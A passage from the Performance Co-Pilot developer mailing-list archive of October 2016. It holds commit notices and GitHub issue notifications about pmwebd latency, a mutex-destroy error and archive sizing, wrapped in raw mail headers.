SELinux folk to advise. Then there's a bunch of new ones, due to things we've changed in PCP I thin= k.=20 We added a libvirt PMDA to PCP, and there's a few attempted accesses to lib= virt config files that are failing. We've changed some internal PCP shell functions, and one of them is accessing tmp files incorrectly (this one I've fixed now & will merged into upstream PCP shortly). Then there's some persistent issues - things link /var/log/pcp/pmcd/pmcd.log not being accessible when it should be, likewise the /var/lib/pcp/pmns/root file. These look like selinux-policy issues once more, so will leave for SElinux folk to advise us further there too. --=20 You are receiving this mail because: You are on the CC list for the bug. Unsubscribe from this bug https://bugzilla.redhat.com/token.cgi?t=3DjSQYR8k= xm7&a=3Dcc_unsubscribe= From nscott@redhat.com Tue Oct 4 01:29:30 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 68F117CA0 for ; Tue, 4 Oct 2016 01:29:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 29AD08F8033 for ; Mon, 3 Oct 2016 23:29:27 -0700 (PDT) X-ASG-Debug-ID: 1475562563-0bf57c7e23126210001-S8gJnT Received: from mx3-phx2.redhat.com (mx3-phx2.redhat.com [209.132.183.24]) by cuda.sgi.com with ESMTP id qmTqFeciXVBRLdKC (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 03 Oct 2016 23:29:24 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Apparent-Source-IP: 209.132.183.24 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx3-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u946TNEb003582 for ; Tue, 4 Oct 2016 02:29:23 -0400 Date: Tue, 4 Oct 2016 02:29:23 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: pcp developers Message-ID: <774995352.303526.1475562563123.JavaMail.zimbra@redhat.com> In-Reply-To: <1766353193.303514.1475562544132.JavaMail.zimbra@redhat.com> Subject: pcp updates: libpcp, pmdalinux fixes MIME-Version: 1.0 X-ASG-Orig-Subj: pcp updates: libpcp, pmdalinux fixes Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.34] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: pcp updates: libpcp, pmdalinux fixes Thread-Index: N6F72F0SKTCKGmFcUJ92Cwre5WkDLg== X-Barracuda-Connect: mx3-phx2.redhat.com[209.132.183.24] X-Barracuda-Start-Time: 1475562563 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1223 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33452 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Changes committed to git://git.pcp.io/pcp.git master Nathan Scott (2): libpcp: optimise DSO lookups for local context mode startup pmdalinux: correctly classify NBD devices and partitions qa/1024 | 1 qa/1024.out | 609 ++++++++++++++++++++++++++++++++++++++ qa/linux/blkdev-root-006.tgz |binary src/libpcp/src/connectlocal.c | 14 src/pmdas/linux/proc_partitions.c | 22 + 5 files changed, 635 insertions(+), 11 deletions(-) commit 9334fe790c83c2bc2c42a97bd7189fe395414717 Author: Nathan Scott Date: Tue Oct 4 17:26:43 2016 +1100 pmdalinux: correctly classify NBD devices and partitions Resolves an issue discovered by Henry from AT&T. commit da4d9c82db70a5793b0a78b8ac3eb83feccab844 Author: Nathan Scott Date: Tue Oct 4 14:13:57 2016 +1100 libpcp: optimise DSO lookups for local context mode startup Ensure we look first at the most-likely-valid DSO PMDA paths to avoid unnecessary failing access(2) syscalls, when we're establishing local contexts using the default DSO table. Resolves Fedora BZ #1275293. From noreply@github.com Tue Oct 4 07:13:16 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_IMAGE_ONLY_28, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1D7447CA0 for ; Tue, 4 Oct 2016 07:13:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D22AB304039 for ; Tue, 4 Oct 2016 05:13:15 -0700 (PDT) X-ASG-Debug-ID: 1475583191-0bf57b1e9213bf90001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id XglypjYxhXYdrJEl (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 05:13:13 -0700 (PDT) X-Barracuda-Envelope-From: noreply@github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from github-smtp2-ext8.iad.github.net ([192.30.252.199] helo=github-smtp2a-ext-cp1-prd.iad.github.net) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brOap-0008AB-Hg for ; Tue, 04 Oct 2016 23:13:10 +1100 Date: Tue, 04 Oct 2016 05:12:59 -0700 X-Barracuda-Effective-Source-IP: UNKNOWN[192.30.252.199] X-Barracuda-Apparent-Source-IP: 192.30.252.199 X-Barracuda-RBL-IP: 192.30.252.199 X-Barracuda-BBL-IP: 192.30.252.199 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=github.com; s=pf2014; t=1475583179; bh=6DMbuyp4wimPg6ZFvuKRPkaWUu/2HZkPQRccllAMgy0=; h=From:Reply-To:To:Subject:List-ID:List-Archive:List-Post: List-Unsubscribe:From; b=POHKcGsV35OY4rLybQIfOk7BRNJ7Xr/icLjLMo3N/BH0HYgh220fkcVzpm3Ua/0s+ z7t/XUrjc414HltNFweh44BSpDk8WBQKbG8lZu4SiEmDKGi1fxPdu+k0mgu8l6bV0n ShBgX0srGoz8QAaai21LGPV9dIDOAUxFM2UJgf6g= From: "Frank Ch. Eigler" Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: Subject: [performancecopilot/pcp] reported pmDestroyContext: pthread_mutex_destroy(c_lock) failed: Device or resource busy, failed second try as well (#118) Mime-Version: 1.0 X-ASG-Orig-Subj: [performancecopilot/pcp] reported pmDestroyContext: pthread_mutex_destroy(c_lock) failed: Device or resource busy, failed second try as well (#118) Content-Type: multipart/alternative; boundary="--==_mimepart_57f39ccbde193_64803f80f35c32b812955d"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: fche X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475583192 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3713 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.73 X-Barracuda-Spam-Status: No, SCORE=0.73 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_28, HTML_IMAGE_ONLY_28_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.73 HTML_IMAGE_ONLY_28_2 HTML: images with 2400-2800 bytes of words ----==_mimepart_57f39ccbde193_64803f80f35c32b812955d Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Filing here with incomplete information, so issue is not forgotten: hc000 on irc reported an instance where, using pcp 3.11.5, possibly two copies of vector talking to the same pmwebd & same remote pmcd, occasionally suffering 1.8s latencies for queries. pmwebd logs indicate this, running with pmwebd -Dpdu, and maybe also `pmcd -t1` to induce timeout errors for those 1.8s requests. pmwebd(14086): context web103761=pm2) expired. pmDestroyContext: pthread_mutex_destroy(c_lock) failed: Device or resource busy, failed second try as well Given that this part of pmwebd is strictly single-threaded, this seems to implicate libpcp remote/pdu error handling, and/or the sharing of sockets within libpcp toward the same remote pmcd. It may be worth finally dropping the latter functionality, as a prophylactic. -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/118 ----==_mimepart_57f39ccbde193_64803f80f35c32b812955d Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit

Filing here with incomplete information, so issue is not forgotten:

hc000 on irc reported an instance where, using pcp 3.11.5, possibly two copies of vector talking to the same pmwebd & same remote pmcd, occasionally suffering 1.8s latencies for queries.

pmwebd logs indicate this, running with pmwebd -Dpdu, and maybe also pmcd -t1 to induce timeout errors for those 1.8s requests.

pmwebd(14086): context web103761=pm2) expired. pmDestroyContext: 
pthread_mutex_destroy(c_lock) failed: Device or resource busy, failed second try as well

Given that this part of pmwebd is strictly single-threaded, this seems to implicate libpcp remote/pdu error handling, and/or the sharing of sockets within libpcp toward the same remote pmcd. It may be worth finally dropping the latter functionality, as a prophylactic.


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

----==_mimepart_57f39ccbde193_64803f80f35c32b812955d-- From bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com Tue Oct 4 07:20:23 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7831A7CA0 for ; Tue, 4 Oct 2016 07:20:23 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3A2D28F8033 for ; Tue, 4 Oct 2016 05:20:19 -0700 (PDT) X-ASG-Debug-ID: 1475583615-0bf57b1e9113c320001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-70.servers.netregistry.net [202.124.241.70]) by cuda.sgi.com with ESMTP id 9Hj8CV9ApYwYBlYu (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 05:20:17 -0700 (PDT) X-Barracuda-Envelope-From: bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.70 Received: from o6.sgmail.github.com ([192.254.113.101]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brOhg-0002iS-L7 for ; Tue, 04 Oct 2016 23:20:15 +1100 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=github.com; h=from:reply-to:to:in-reply-to:references:subject:mime-version:content-type:content-transfer-encoding:list-id:list-archive:list-post:list-unsubscribe; s=s20150108; bh=IewuoMVL1krhaR3nkJJmQbqPZt8=; b=M3iY6IMtE6M31pi0 PCJ+EQiUHTEc2JOriSiZ2vLGlwd7qCUb61e/aniGXXX5CXC++Opn/L8SFSDOq5Ph sbkqlJ3n/YR0nxcRj/IkaIszTuIPePGzg5OY2k63fXROaWJ0102b41VqHvUKgq1o qMzW3CUY4Ba+XXzdYC5CKkecWTo= X-Barracuda-Effective-Source-IP: UNKNOWN[192.254.113.101] X-Barracuda-Apparent-Source-IP: 192.254.113.101 X-Barracuda-RBL-IP: 192.254.113.101 X-Barracuda-BBL-IP: 192.254.113.101 Received: by filter0982p1mdw1.sendgrid.net with SMTP id filter0982p1mdw1.18523.57F39E7138 2016-10-04 12:20:01.991662656 +0000 UTC Received: from github-smtp2b-ext-cp1-prd.iad.github.net (github-smtp2b-ext-cp1-prd.iad.github.net [192.30.253.17]) by ismtpd0006p1iad1.sendgrid.net (SG) with ESMTP id SeW_h4w_Q3ukg-qM7XPEUA for ; Tue, 04 Oct 2016 12:20:02.031 +0000 (UTC) Date: Tue, 04 Oct 2016 05:20:01 -0700 From: "Frank Ch. Eigler" Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f39e71de5dc_3aad3f83f849729c82748"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: fche X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-SG-EID: XHgpD0I4dwPyvalfBvzXHjYOnBNKyEST/hu/iWGWJEfdTe9yhUqMN8nzcWMRBkp06PZciQKvmkGXwa Ef0HpVBrT/rA1bzBhv2EW3IoIOn32qP72Aq1qfZuJUUQnbx6cMAc+XttPSaz5LWim556nv5/GNFY02 dSqjf0Hk1Ur2FrQnSXagUCiZxx10YRYht2MvDibltSLkY7kkW9uzrvCXGFHj1GTG/0SfeHvMwNaBp6 c= X-Barracuda-Connect: smtp-outgoing-70.servers.netregistry.net[202.124.241.70] X-Barracuda-Start-Time: 1475583617 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 4515 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ----==_mimepart_57f39e71de5dc_3aad3f83f849729c82748 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit 300 servers are stretching the practical limits of pmwebd's current approach to searching archives, especially if the archives are large enough not to fit into RAM. In fact if the active set of archives (those that pmwebd needs to read, and those that something else (pmmgr/pmlogger?) is writing) are too large to fit into RAM, then I/O will start dominating everything, as you are noticing. Can you offer some stats about your archives? How far back do they go? How large are the currently-written-to ones? How much RAM do you have? How many separate archive files exist? Are any of them compressed (via service-pmlogger's pmlogger_daily, as in *YYYYMMDD.0.xz)? see also https://bugzilla.redhat.com/show_bug.cgi?id=1376861 https://bugzilla.redhat.com/show_bug.cgi?id=1293471 -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-251372124 ----==_mimepart_57f39e71de5dc_3aad3f83f849729c82748 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

300 servers are stretching the practical limits of pmwebd's current appr= oach to searching archives, especially if the archives are large enough not= to fit into RAM. In fact if the active set of archives (those that pmwebd= needs to read, and those that something else (pmmgr/pmlogger?) is writing)= are too large to fit into RAM, then I/O will start dominating everything, = as you are noticing.

Can you offer some stats about your archives? How far back do they go? = How large are the currently-written-to ones? How much RAM do you have? H= ow many separate archive files exist? Are any of them compressed (via serv= ice-pmlogger's pmlogger_daily, as in *YYYYMMDD.0.xz)?

see also
https://b= ugzilla.redhat.com/show_bug.cgi?id=3D1376861
https://b= ugzilla.redhat.com/show_bug.cgi?id=3D1293471

&mda= sh;
You are receiving this because you are subscribed to this thread.<= br />Reply to this email directly, view it on GitHub, or <= a href=3D"https://github.com/notifications/unsubscribe-auth/AL0Itm9dCP1goMC= gF8PMqDrS1p7IPGnIks5qwkRxgaJpZM4KKD0Y">mute the thread.3D""

= ----==_mimepart_57f39e71de5dc_3aad3f83f849729c82748-- From noreply@github.com Tue Oct 4 07:25:59 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BD8937CA0 for ; Tue, 4 Oct 2016 07:25:59 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 614168F8035 for ; Tue, 4 Oct 2016 05:25:59 -0700 (PDT) X-ASG-Debug-ID: 1475583955-0bf815670f172400001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-69.servers.netregistry.net [202.124.241.69]) by cuda.sgi.com with ESMTP id mgp3ixbNzEaTw9nj (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 05:25:56 -0700 (PDT) X-Barracuda-Envelope-From: noreply@github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.69 Received: from github-smtp2-ext7.iad.github.net ([192.30.252.198] helo=github-smtp2a-ext-cp1-prd.iad.github.net) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brOn9-0005ck-HU for ; Tue, 04 Oct 2016 23:25:54 +1100 Date: Tue, 04 Oct 2016 05:25:44 -0700 X-Barracuda-Effective-Source-IP: UNKNOWN[192.30.252.198] X-Barracuda-Apparent-Source-IP: 192.30.252.198 X-Barracuda-RBL-IP: 192.30.252.198 X-Barracuda-BBL-IP: 192.30.252.198 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=github.com; s=pf2014; t=1475583944; bh=iDoxmQuMSS9TmNsMoi07JQhh76FxH33JEg5ZtuELFXs=; h=From:Reply-To:To:In-Reply-To:References:Subject:List-ID: List-Archive:List-Post:List-Unsubscribe:From; b=X40kVBJUBKisRw2RlIy/jI8LqpEjUf4/xklnpLQLnEtFwRKvtgZC5VbQ28zkibpTZ hclQyFrdb05/uE+evenf6X0YBKdDhWX4yFoXid8gBcazFJ30ok9qtVtuFNWB56VK8v UGI+eIJ6VgMVqOakpWJfCiQeLqR4y/cT5lvbixY4= From: Marko Kevac Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] pmwebd impossibly slow when using grafana with 300 archives (#117) Content-Type: multipart/alternative; boundary="--==_mimepart_57f39fc821a9b_3f6b3f933b3812c0681f5"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: mkevac X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475583956 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 7523 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ----==_mimepart_57f39fc821a9b_3f6b3f933b3812c0681f5 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit These are archives for one of the servers. One archive per day. ``` marko@monitoring11.mlan:/local/pcp/cppbig81.mlan> ll -h total 11G -rw-r--r-- 1 pcp pcp 807M Sep 29 01:12 20160928.0 -rw-r--r-- 1 pcp pcp 153K Sep 29 01:12 20160928.index -rw-r--r-- 1 pcp pcp 24K Sep 28 14:22 20160928.meta -rw-r--r-- 1 pcp pcp 1.8G Sep 30 01:09 20160929.0 -rw-r--r-- 1 pcp pcp 335K Sep 30 01:09 20160929.index -rw-r--r-- 1 pcp pcp 24K Sep 29 01:12 20160929.meta -rw-r--r-- 1 pcp pcp 1.8G Oct 1 01:09 20160930.0 -rw-r--r-- 1 pcp pcp 338K Oct 1 01:09 20160930.index -rw-r--r-- 1 pcp pcp 24K Sep 30 01:09 20160930.meta -rw-r--r-- 1 pcp pcp 1.8G Oct 2 00:58 20161001.0 -rw-r--r-- 1 pcp pcp 335K Oct 2 00:58 20161001.index -rw-r--r-- 1 pcp pcp 24K Oct 1 01:09 20161001.meta -rw-r--r-- 1 pcp pcp 1.8G Oct 3 00:48 20161002.0 -rw-r--r-- 1 pcp pcp 336K Oct 3 00:48 20161002.index -rw-r--r-- 1 pcp pcp 24K Oct 2 00:58 20161002.meta -rw-r--r-- 1 pcp pcp 1.4G Oct 3 18:52 20161003.00.10.0 -rw-r--r-- 1 pcp pcp 254K Oct 3 18:52 20161003.00.10.index -rw-r--r-- 1 pcp pcp 24K Oct 3 00:48 20161003.00.10.meta -rw-r--r-- 1 pcp pcp 992M Oct 4 08:16 20161003.18.57.0 -rw-r--r-- 1 pcp pcp 188K Oct 4 08:16 20161003.18.57.index -rw-r--r-- 1 pcp pcp 24K Oct 3 18:57 20161003.18.57.meta -rw-r--r-- 1 pcp pcp 291M Oct 4 12:22 20161004.08.28.0 -rw-r--r-- 1 pcp pcp 56K Oct 4 12:22 20161004.08.28.index -rw-r--r-- 1 pcp pcp 24K Oct 4 08:28 20161004.08.28.meta -rw-r--r-- 1 pcp pcp 222 Oct 4 08:28 Latest -rw-r--r-- 1 pcp pcp 8.6K Oct 4 08:28 pmlogger.log -rw-r--r-- 1 pcp pcp 8.9K Oct 4 08:16 pmlogger.log.prior ``` Server where collecting happens and pmwebd is has 64GiB of RAM and 24 CPUs. We have disk space for approx 7 days when collection once a second. They are not compressed. -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-251373346 ----==_mimepart_57f39fc821a9b_3f6b3f933b3812c0681f5 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable

These are archives for one of the servers. One archive per day.

marko@monitoring11.mlan:/local/pcp/cppbig81.mlan> ll -h
total 11G
-rw-r--r-- 1 pcp pcp 807M Sep 29 01:12 20160928.0
-rw-r--r-- 1 pcp pcp 153K Sep 29 01:12 20160928.index
-rw-r--r-- 1 pcp pcp  24K Sep 28 14:22 20160928.meta
-rw-r--r-- 1 pcp pcp 1.8G Sep 30 01:09 20160929.0
-rw-r--r-- 1 pcp pcp 335K Sep 30 01:09 20160929.index
-rw-r--r-- 1 pcp pcp  24K Sep 29 01:12 20160929.meta
-rw-r--r-- 1 pcp pcp 1.8G Oct  1 01:09 20160930.0
-rw-r--r-- 1 pcp pcp 338K Oct  1 01:09 20160930.index
-rw-r--r-- 1 pcp pcp  24K Sep 30 01:09 20160930.meta
-rw-r--r-- 1 pcp pcp 1.8G Oct  2 00:58 20161001.0
-rw-r--r-- 1 pcp pcp 335K Oct  2 00:58 20161001.index
-rw-r--r-- 1 pcp pcp  24K Oct  1 01:09 20161001.meta
-rw-r--r-- 1 pcp pcp 1.8G Oct  3 00:48 20161002.0
-rw-r--r-- 1 pcp pcp 336K Oct  3 00:48 20161002.index
-rw-r--r-- 1 pcp pcp  24K Oct  2 00:58 20161002.meta
-rw-r--r-- 1 pcp pcp 1.4G Oct  3 18:52 20161003.00.10.0
-rw-r--r-- 1 pcp pcp 254K Oct  3 18:52 20161003.00.10.index
-rw-r--r-- 1 pcp pcp  24K Oct  3 00:48 20161003.00.10.meta
-rw-r--r-- 1 pcp pcp 992M Oct  4 08:16 20161003.18.57.0
-rw-r--r-- 1 pcp pcp 188K Oct  4 08:16 20161003.18.57.index
-rw-r--r-- 1 pcp pcp  24K Oct  3 18:57 20161003.18.57.meta
-rw-r--r-- 1 pcp pcp 291M Oct  4 12:22 20161004.08.28.0
-rw-r--r-- 1 pcp pcp  56K Oct  4 12:22 20161004.08.28.index
-rw-r--r-- 1 pcp pcp  24K Oct  4 08:28 20161004.08.28.meta
-rw-r--r-- 1 pcp pcp  222 Oct  4 08:28 Latest
-rw-r--r-- 1 pcp pcp 8.6K Oct  4 08:28 pmlogger.log
-rw-r--r-- 1 pcp pcp 8.9K Oct  4 08:16 pmlogger.log.prior

Server where collecting happens and pmwebd is has 64GiB of RAM and 24 = CPUs.
We have disk space for approx 7 days when collection once a second.
They are not compressed.

&m= dash;
You are receiving this because you are subscribed to this thre= ad.
Reply to this email directly, view it on GitHub, or mute the thread.

=
= ----==_mimepart_57f39fc821a9b_3f6b3f933b3812c0681f5-- From noreply@github.com Tue Oct 4 07:39:20 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 27FB37CA0 for ; Tue, 4 Oct 2016 07:39:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF746304032 for ; Tue, 4 Oct 2016 05:39:19 -0700 (PDT) X-ASG-Debug-ID: 1475584756-0bf8156711172d40001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-66.servers.netregistry.net [202.124.241.66]) by cuda.sgi.com with ESMTP id h8olE9Jc04bD1ifp (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 05:39:17 -0700 (PDT) X-Barracuda-Envelope-From: noreply@github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.66 Received: from github-smtp2-ext8.iad.github.net ([192.30.252.199] helo=github-smtp2a-ext-cp1-prd.iad.github.net) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brP04-0005ma-BO for ; Tue, 04 Oct 2016 23:39:15 +1100 Date: Tue, 04 Oct 2016 05:39:05 -0700 X-Barracuda-Effective-Source-IP: UNKNOWN[192.30.252.199] X-Barracuda-Apparent-Source-IP: 192.30.252.199 X-Barracuda-RBL-IP: 192.30.252.199 